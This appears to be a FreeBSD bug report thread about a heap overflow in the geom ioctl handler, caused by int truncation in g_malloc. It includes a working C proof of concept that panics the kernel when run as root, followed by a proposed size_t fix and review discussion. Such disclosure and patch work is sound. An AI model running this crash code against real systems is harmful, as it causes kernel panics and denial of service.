There is a heap overflow in the `ioctl` handler for `geom`, which is non-critical since it is only triggerable as `root`. Essentially, there are no checks on the user supplied `req.narg` value. The code uses this value to calculate a size by multiplying by `sizeof(struct gctl_req_arg)`, and then calls `g_malloc` and `copyin`. `g_malloc` treats its `size` parameter as an `int`: static __inline void *g_malloc(int size, int flags) So this size will be truncated to 32 bit, however the `copyin` call will use the full 64 bit size. PoC to trigger the bug, resulting in panic (must be run as `root`): #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/types.h> #include <sys/ioctl.h> #include <geom/geom_ctl.h> int main(void) { int result; struct gctl_req req; int g; g = open("/dev/geom.ctl", O_RDONLY); if(g == -1) { printf(" [-] Couldn't open geom.ctl!\n"); return 1; } req.error = malloc(0x100); req.lerror = 2; req.version = GCTL_VERSION; req.narg = 0x5555556; req.arg = malloc(0x4000); memset(req.arg, 'a', 0x4000); result = ioctl(g, GEOM_CTL, &req); printf("%d %d\n", result, errno); free(req.arg); return 0; }
Created attachment 172625 [details] Fix for 209113 A problem existed where a g_malloc call would allocate a buffer length specified by a 32 bit integer. Then copyin would write a 64 bit integer worth of data into the buffer. By changing g_malloc()'s len argument to be a size_t (matching malloc) the buffer will always be large enough for copyin. It is still possible to hang the process while waiting for a large enough allocation, so the M_NOWAIT flag has replaced the M_WAITOK flag.
-secteam@. This is not exploitable by non-root.
(In reply to rday from comment #1) I don't really like the M_NOWAIT part -- shouldn't we place a hard limit on how much the userland may request instead?
I think you're right, a hard limit would be better. I can't find a maximum parameter count or a maximum parameter size in the documentation though. I don't think I'm familiar enough with the system to come up with a value. On the other hand, if root issues a malicious ioctl() then root's process just waits(using M_WAITOK). This doesn't seem like much of a concern. Lacking a sufficient hard limit, would it be best to simply change the `size` parameter's type to size_t? Removing the M_NOWAIT change?